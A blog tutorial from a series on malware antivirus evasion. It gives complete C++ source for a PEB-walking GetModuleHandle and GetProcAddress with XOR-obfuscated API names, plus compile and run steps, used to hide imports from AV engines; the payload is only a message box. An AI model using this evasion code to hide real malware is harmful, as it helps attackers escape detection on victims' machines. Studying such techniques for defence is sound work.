Malware AV/VM evasion - part 16: WinAPI GetProcAddress implementation. Simple C++ example.

5 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post is the result of my own research on try to evasion AV engines via another popular trick: WinAPI GetProcAddress implementation.

GetProcAddress

GetProcAddress is a Windows API function that retrieves the address of an exported function or variable from the specified DLL. This function is useful when you want to load a function from a DLL at runtime, which is also known as dynamic linking or runtime linking:

FARPROC GetProcAddress(
  HMODULE hModule,
  LPCSTR  lpProcName
);

hModule - A handle to the DLL module that contains the function or variable. The LoadLibrary or LoadLibraryEx function returns this handle.
lpProcName - The function or variable name as a null-terminated string, or the function’s ordinal value. If this parameter is an ordinal value, it must be in the low-order word, and the high-order word must be zero.

If the function succeeds, the return value is the address of the exported function or variable, if the function fails, the return value is NULL.

practical example. custom implementation of `GetProcAddress`

Like a previous post creating my simplest implementation of GetProcAddress using Process Environment Block (PEB) also can help avoid antivirus (AV) detection in certain scenarios.

FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
  PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
  PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
  PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + 
  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

  DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
  WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);
  DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);

  for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
    if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
      return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
    }
  }

  return NULL;
}

Here’s a step-by-step explanation of this code:

get DOS and NT headers: Cast the base address of the module (hModule) to a PIMAGE_DOS_HEADER pointer and use it to locate the PIMAGE_NT_HEADERS structure by adding the e_lfanew field to the base address.
locate the export directory: Use the OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress field from the PIMAGE_NT_HEADERS structure to find the PIMAGE_EXPORT_DIRECTORY structure.
get pointers to export tables: Obtain pointers to the AddressOfFunctions, AddressOfNameOrdinals, and AddressOfNames tables using the respective fields of the PIMAGE_EXPORT_DIRECTORY structure and the base address of the module.
iterate through the names: Loop through the AddressOfNames table up to NumberOfNames times, and compare each function name with the target function name (lpProcName) using strcmp.
find the function address: If the function name matches, find the function’s ordinal by indexing the AddressOfNameOrdinals table, and use the ordinal to index the AddressOfFunctions table. Calculate the absolute function address by adding the module’s base address to the relative virtual address (RVA) of the function.

AV evasion “malware”

Ok, what about the “malware” example? For this, I just updated the code from my previous post. Add my implementation of WinAPI GetProcAddress. The full source code is:

/*
 * hack.cpp - GetProcAddress implementation. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/tutorial/2023/04/16/malware-av-evasion-16.html
*/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <shlwapi.h>
#include <string.h>

#pragma comment(lib, "Shlwapi.lib")

int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {
  _wcslwr_s(substr, MAX_PATH);
  _wcslwr_s(mystr, MAX_PATH);

  int result = 0;
  if (StrStrW(mystr, substr) != NULL) {
    result = 1;
  }

  return result;
}

typedef UINT(CALLBACK* fnMessageBoxA)(
  HWND   hWnd,
  LPCSTR lpText,
  LPCSTR lpCaption,
  UINT   uType
);

// custom implementation
HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

  // obtaining the offset of PPEB from the beginning of TEB
  PEB* pPeb = (PEB*)__readgsqword(0x60);

  // for x86
  // PEB* pPeb = (PEB*)__readgsqword(0x30);

  // obtaining the address of the head node in a linked list 
  // which represents all the models that are loaded into the process.
  PEB_LDR_DATA* Ldr = pPeb->Ldr;
  LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList; 

  // iterating to the next node. this will be our starting point.
  LIST_ENTRY* pStartListEntry = ModuleList->Flink;

  // iterating through the linked list.
  WCHAR mystr[MAX_PATH] = { 0 };
  WCHAR substr[MAX_PATH] = { 0 };
  for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {

    // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL).
    LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

    // checking if this is the DLL we are looking for
    memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
    memset(substr, 0, MAX_PATH * sizeof(WCHAR));
    wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
    wcscpy_s(substr, MAX_PATH, lModuleName);
    if (cmpUnicodeStr(substr, mystr)) {
      // returning the DLL base address.
      return (HMODULE)pEntry->DllBase;
    }
  }

  // the needed DLL wasn't found
  printf("failed to get a handle to %s\n", lModuleName);
  return NULL;
}

FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
  PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
  PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
  PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + 
  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

  DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
  WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);
  DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);

  for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
    if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
      return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
    }
  }

  return NULL;
}


// encrypted function name (MessageBoxA)
unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2, 0x17, 0x31, 0xa, 0x1b, 0x33 };

// encrypted module name (user32.dll)
unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43, 0x57, 0x5c, 0x17, 0x9, 0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  int j;
  j = 0;
  for (int i = 0; i < data_len; i++) {
    if (j == key_len - 1) j = 0;
    data[i] = data[i] ^ key[j];
    j++;
  }
}


int main(int argc, char* argv[]) {
  XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
  XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));

  wchar_t wtext[20];
  mbstowcs(wtext, s_dll, strlen(s_dll)+1); //plus null
  LPWSTR user_dll = wtext;

  HMODULE mod = myGetModuleHandle(user_dll);
  if (NULL == mod) {
    return -2;
  } else {
    printf("meow");
  }

  fnMessageBoxA myMessageBoxA = (fnMessageBoxA)myGetProcAddress(mod, (LPCSTR)s_mb);
  myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
  return 0;
}

As you can see, the only difference is new function myGetProcAddress.

demo

Let’s go to see everything in action. First of all compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

And run at the victim’s machine (Windows 10 x64):

.\hack.exe

av-evasion

As you can see, as result, GetProcAddress WinAPI hidden: bypass AV engines in certain scenarios.

Note that manually implementing GetProcAddress using the PEB is a difficult and potentially error-prone task, but handling the inner workings of the Windows module loading mechanism can be useful for advanced tasks such as reverse engineering and malware analysis.

I hope this post spreads awareness to the blue teamers of this interesting evasion technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
AV evasion: part 4
GetModuleHandle
GetProcAddress
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Share on

Twitter Facebook LinkedIn

cocomelonc

Malware AV/VM evasion - part 16: WinAPI GetProcAddress implementation. Simple C++ example.

GetProcAddress

practical example. custom implementation of `GetProcAddress`

AV evasion “malware”

demo

Share on

You may also enjoy

Malware and cryptography 36 - random sbox generation algorithms: Fisher-Yates shuffle. Simple C example.

Malware and cryptography 35: encrypt payload via Treyfer algorithm. Simple C example.

Malware development book. Second edition

Linux malware development 3: linux process injection with ptrace. Simple C example.

cocomelonc

GetProcAddress

practical example. custom implementation of GetProcAddress

AV evasion “malware”

demo

Share on

You may also enjoy

Malware and cryptography 36 - random sbox generation algorithms: Fisher-Yates shuffle. Simple C example.

Malware and cryptography 35: encrypt payload via Treyfer algorithm. Simple C example.

Malware development book. Second edition

Linux malware development 3: linux process injection with ptrace. Simple C example.

practical example. custom implementation of `GetProcAddress`